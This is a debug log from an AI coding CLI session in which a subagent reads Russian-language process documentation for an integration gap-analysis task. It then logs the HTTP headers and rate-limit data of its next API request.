\"CAQS3AgKEAgSGAI4AUIIdGhpbmtpbmcSDFxZfeaARpKx1Qy0GRoMQAKp8t4LL9cSj/cmIjAsUAnHqYQgYtuwQrneymHr629pCsJdNxFIoMVPep2a+uRbSehfjrak+Q9HvV2RDN8q+Qc6ladoZozC685p5Z851OfTbqDnC77Rz1nhzAvCM21gk3+FstCzNwWXCGU4RIUmJcn3X37oJPaxwL1ZH3Fqe77atnv+1l4dWJaBWCLh70XJn1PIpErM3/YvBa1ha5iSVItpLehclIZ+O8giPHHQstBy75Y6A+TKGHxGTNnQGDi2o2Z8fzXVCFBf5fjAbZWB413D5B3oOQEb5wRNPkNQer462xGtEVTtrGoHyrsNOV7GghaOSFMiitbxmtYSMfNCzXqaWloCMPRQm+Ph1IVmTVYcdsqizmthOnyiOnJMwE3Fj5maDZ5BUuN3ibqqyFfUkp1RF60AjRcEifgWJ75cSngQWEpiH9J0YS7tTNqnEGiaUo8IScVdXs7kAKWTlklUuxDNhXcYhYsKTqFO+2s4lp4hS1lg4sRjQe0jyu8BibxyDjfNkGXqRQXf/pM14ieAWtG0N8Qr0T5TEJnsnvpopB9M6wVnQlh0wRe6Y7D1zdNUGrQd6EpSSo4ShUxkFdgPYyY0BYNG+3QAGXdZcqIHVaQ1+qz981vFoyCDS0oxs+AgBx5RH/LOdpuKI6Cef+rKZpCVn1iNik05laLFtjPb8VSO5srQV7IaNbJ9/vD1kPsJdTbqzt5wFqOg2t0NwN60ol0aoABSyG+bGvbMcj6t4dL76PvPWs1uB3xNGrA8uAk0jdbXUBRq3Mei+oo3jHA8NyAAXdI4wyDHJrLM7476xiBNWCOx7osy6kK1oiDeGjn/dvd1alG3GEsJakb5Sqca3KjVKSgA5chlx8vSmHp14EUnRvtTitCXQRLEKgJwFmFsv4D4yaP8/zifBlixnTHTgAp+PzXTfYLfNKrXnRqnNaNw/p1VfazxqSHw3gfy+OVC6nPDPu7Z/XJ5eq+QFoWDnWcYeX/uZt3icxmJOYgKRZjugMqCN7nu9DS6tfiSNS9ktku7ttm1DZ7MiAkHlT4Rkbf+52DWMansjCGG+hbzpT8xYjTh7hiKvc1DGGW0GFjt13gI99PYFR1mY+SdzkU68gCAzgo8L9Vamna3cy4DwINcmKH4FtZIS5nJjUHXJuxKmRGSk3rkgUqGJ8Y4flnVaRdqkrhLGVaibN15q6jwUDBvykyqg2NyEvwrKpNufT85EFUXfxp78dSPq0fhpCHMAoJxkR7zu0zXERRUwS65rQEw7wCcpXmnSlgrl2FTMdGULYAEu9AI4t8T/0vBKLj5IXohfRSCEj8N6xglnvdQnK8BvVV1O8rM2vxGJ5ep7iX27jThgHJx1jQdb72enzLXUGMmDzc/EFO9k4QV2mYe6coGC+wKqAfugJwETTclfAH3CdOtdWNnOgTqYan6PbNcS9I4eJTKxvOE1HwYAQ==\"\n[2026-09-29T07:48:01.299Z] [INFO]       }\n[2026-09-29T07:48:01.299Z] [INFO]     ],\n[2026-09-29T07:48:01.299Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:01.299Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:01.299Z] [INFO]       \"cache_creation_input_tokens\": 3247,\n[2026-09-29T07:48:01.299Z] [INFO]       \"cache_read_input_tokens\": 58806,\n[2026-09-29T07:48:01.299Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:01.299Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:48:01.299Z] [INFO]         \"ephemeral_1h_input_tokens\": 3247\n[2026-09-29T07:48:01.299Z] [INFO]       },\n[2026-09-29T07:48:01.299Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:48:01.299Z] [INFO]       \"service_tier\": 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\"message\": {\n[2026-09-29T07:48:04.741Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:48:04.741Z] [INFO]     \"content\": [\n[2026-09-29T07:48:04.741Z] [INFO]       {\n[2026-09-29T07:48:04.741Z] [INFO]         \"tool_use_id\": \"toolu_012ShQb1DvdqXvzU2AuAdd6b\",\n[2026-09-29T07:48:04.741Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:48:04.741Z] [INFO]         \"content\": \"### 5. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438\\n\\n**\u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f.** \u0417\u0430\u043f\u0443\u0441\u043a \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0432\u0441\u0451:\\n\\n1. \u0422\u0417 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u0430\u043c\u0438.\\n2. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d SSOT \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0435\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0438\u0437 \u0441\u0440\u0435\u0434\u044b\\n   \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `logs/source-availability.md`. \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u2014 \u043d\u0435 \u043f\u043e\u0432\u043e\u0434 \u0434\u043e\u043c\u044b\u0441\u043b\u0438\u0432\u0430\u0442\u044c, \u0430 \u043f\u043e\u0432\u043e\u0434 \u043f\u043e\u043d\u0438\u0437\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\\n   (\u043e\u0431\u0440\u0430\u0437\u0435\u0446 \u2014 RUN-0056).\\n3. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d SSOT \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\\n4. \u0417\u0430\u0432\u0435\u0434\u0451\u043d \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e `standards/runs-contract-standard.md`.\\n5. \u041d\u0430\u0437\u0432\u0430\u043d \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0434\u0430\u0447\u0438, \u0435\u0441\u043b\u0438 \u043e\u043d \u0435\u0441\u0442\u044c.\\n\\n**\u0428\u0430\u0433\u0438.**\\n\\n| \u0428\u0430\u0433 | \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\\n| --- | --- | --- |\\n| 1 | \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u043c\u043c\u0443, \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0448\u0430\u043f\u043a\u0443 \u043e\u0442\u0447\u0451\u0442\u0430 | \u0428\u0430\u043f\u043a\u0430 \u00ab\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0435\u0433\u043e \u0432\u0435\u0440\u0441\u0438\u044f\u00bb |\\n| 2 | \u0420\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0422\u0417 \u043d\u0430 \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u044b \u0438 \u0432\u044b\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0435 \u0446\u0438\u0442\u0430\u0442\u044b | \u0417\u0430\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 N.1 |\\n| 3 | \u0412\u044b\u043d\u0435\u0441\u0442\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u0430\u043c \u0441\u043e \u0441\u043d\u043e\u0441\u043a\u0430\u043c\u0438 \u043d\u0430 SSOT | \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u044b N.1 |\\n| 4 | \u041f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c: JSON, \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b, \u043c\u0430\u043f\u043f\u0438\u043d\u0433 | \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u044b N.2 |\\n| 5 | \u0421\u043e\u0431\u0440\u0430\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u0445 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u043e\u043c \u0441\u0441\u044b\u043b\u043e\u043a | \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u044b N.3 + \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 |\\n\\n\u0421\u0432\u043e\u0434 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 \u0432 L1 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0448\u0430\u0433\u0430 5 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e L4.\\n\\n**Quality gates.**\\n\\n| \u0413\u0435\u0439\u0442 | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0411\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u043a |\\n### 1. \u0414\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n\\n\u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b **\u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0443\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439**. \u041f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435\\n`L3`-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c\u0438 \u043b\u043e\u0433\u0430\u043c\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443 \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f.\\n\\n| \u0423\u0440\u043e\u0432\u0435\u043d\u044c | \u0424\u0430\u0439\u043b | \u041e\u0431\u044a\u0451\u043c | \u0410\u0434\u0440\u0435\u0441\u0430\u0442 | \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- | --- | --- |\\n| **L1** | `L1-business-gap-summary.md` | **1 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430** | \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 | \u041e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0434\u0435\u043b\u0430\u0435\u043c \u0438\u043b\u0438 \u043d\u0435\u0442 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443\u00bb |\\n| **L2/L4** | `L4-combined-gap-report.md` | \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u0411\u0410, \u0421\u0410, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 L1 |\\n\\n**L1 \u2014 Business Gap Summary.** \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432:\\n\\nL4-combined-gap-report.md\\nREADME.md\\nhh-api-source-index.md\\nhuman-review-checklist.md\",\n[2026-09-29T07:48:04.741Z] [INFO]         \"is_error\": false\n[2026-09-29T07:48:04.741Z] [INFO]       }\n[2026-09-29T07:48:04.741Z] [INFO]     ]\n[2026-09-29T07:48:04.741Z] [INFO]   },\n[2026-09-29T07:48:04.741Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"uuid\": \"1d360f1d-a7a0-49ff-b36f-59682ff2dc59\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:04.736Z\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:04.741Z] [INFO] }\n[2026-09-29T07:48:04.871Z] [STDOUT] [log_917b24] sending request {\n[2026-09-29T07:48:04.882Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:48:04.894Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:04.906Z] [STDOUT]   options: {\n[2026-09-29T07:48:04.915Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:48:04.929Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:48:04.940Z] [STDOUT]     body: {\n[2026-09-29T07:48:04.956Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:48:05.008Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:48:05.020Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:48:05.030Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:48:05.036Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:48:05.039Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:48:05.042Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:48:05.046Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:48:05.048Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:48:05.051Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:48:05.053Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:48:05.055Z] [STDOUT]       stream: true,\n[2026-09-29T07:48:05.057Z] [STDOUT]     },\n[2026-09-29T07:48:05.059Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:48:05.061Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:48:05.088Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:48:05.095Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:48:05.098Z] [STDOUT]       aborted: false,\n[2026-09-29T07:48:05.101Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:48:05.107Z] [STDOUT]       onabort: null,\n[2026-09-29T07:48:05.110Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:48:05.113Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:48:05.115Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:48:05.119Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:48:05.123Z] [STDOUT]     },\n[2026-09-29T07:48:05.127Z] [STDOUT]     stream: true,\n[2026-09-29T07:48:05.130Z] [STDOUT]   },\n[2026-09-29T07:48:05.132Z] [STDOUT]   headers: {\n[2026-09-29T07:48:05.139Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:48:05.146Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:48:05.149Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:48:05.152Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:48:05.154Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:48:05.161Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:48:05.164Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:48:05.173Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:48:05.178Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:48:05.182Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:48:05.185Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:48:05.192Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3386\",\n[2026-09-29T07:48:05.207Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:48:05.227Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:48:05.250Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:05.257Z] [STDOUT]     \"x-client-request-id\": \"3557856b-7951-4b98-ac9b-422ae5efd2bc\",\n[2026-09-29T07:48:05.273Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:48:05.494Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:48:05.529Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:48:05.601Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:48:05.640Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:48:05.673Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:48:05.704Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:48:05.788Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:48:05.846Z] [STDOUT]   },\n[2026-09-29T07:48:05.849Z] [STDOUT] }\n[2026-09-29T07:48:05.852Z] [STDOUT] [log_917b24, request-id: \"req_011CfXMxZg7sVxWFUVZtAjA9\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 832ms\n[2026-09-29T07:48:05.856Z] [STDOUT] [log_917b24] response start {\n[2026-09-29T07:48:05.859Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:05.863Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:05.866Z] [STDOUT]   headers: {\n[2026-09-29T07:48:05.869Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:48:05.879Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:48:05.884Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:48:05.890Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:48:05.895Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:48:05.907Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:48:05.917Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:48:05.920Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:48:05.923Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:48:05.932Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:48:05.951Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:48:05.953Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:48:05.959Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:48:05.963Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:48:05.969Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:48:05.977Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:48:05.986Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:48:05.988Z] [STDOUT]     \"cf-ray\": \"a429622addf829ad-FRA\",\n[2026-09-29T07:48:05.998Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:48:06.122Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:48:06.159Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:48:06.183Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:48:06.191Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:48:05 GMT\",\n[2026-09-29T07:48:06.196Z] [STDOUT]     \"request-id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:06.198Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:48:06.201Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:06.331Z] [STDOUT]     traceresponse: \"00-40ad11aca6966016592707165a6600fd-d39ec0d6d3abda47-01\",\n[2026-09-29T07:48:06.341Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:06.356Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:48:06.364Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:06.378Z] [STDOUT]   },\n[2026-09-29T07:48:06.393Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:48:06.396Z] [STDOUT] }\n[2026-09-29T07:48:06.398Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:48:06.403Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:48:05 GMT\",\n[2026-09-29T07:48:06.408Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:48:06.412Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:06.430Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:48:06.435Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:48:06.438Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:06.442Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:48:06.448Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:48:06.456Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:48:06.486Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:48:06.494Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:48:06.503Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:48:06.508Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:48:06.512Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:48:06.517Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:48:06.523Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:48:06.532Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:48:06.535Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:48:06.546Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:48:06.575Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:48:06.582Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:48:06.590Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:48:06.596Z] [STDOUT]   \"request-id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:06.605Z] [STDOUT]   \"traceresponse\": \"00-40ad11aca6966016592707165a6600fd-d39ec0d6d3abda47-01\",\n[2026-09-29T07:48:06.611Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:48:06.625Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:48:06.658Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:48:06.662Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:48:06.680Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:06.685Z] [STDOUT]   \"cf-ray\": \"a429622addf829ad-FRA\",\n[2026-09-29T07:48:06.740Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:48:06.834Z] [STDOUT] [log_917b24] response parsed {\n[2026-09-29T07:48:06.856Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:06.859Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:06.863Z] [STDOUT]   body: X {\n[2026-09-29T07:48:06.872Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:48:06.875Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:48:06.878Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:48:06.880Z] 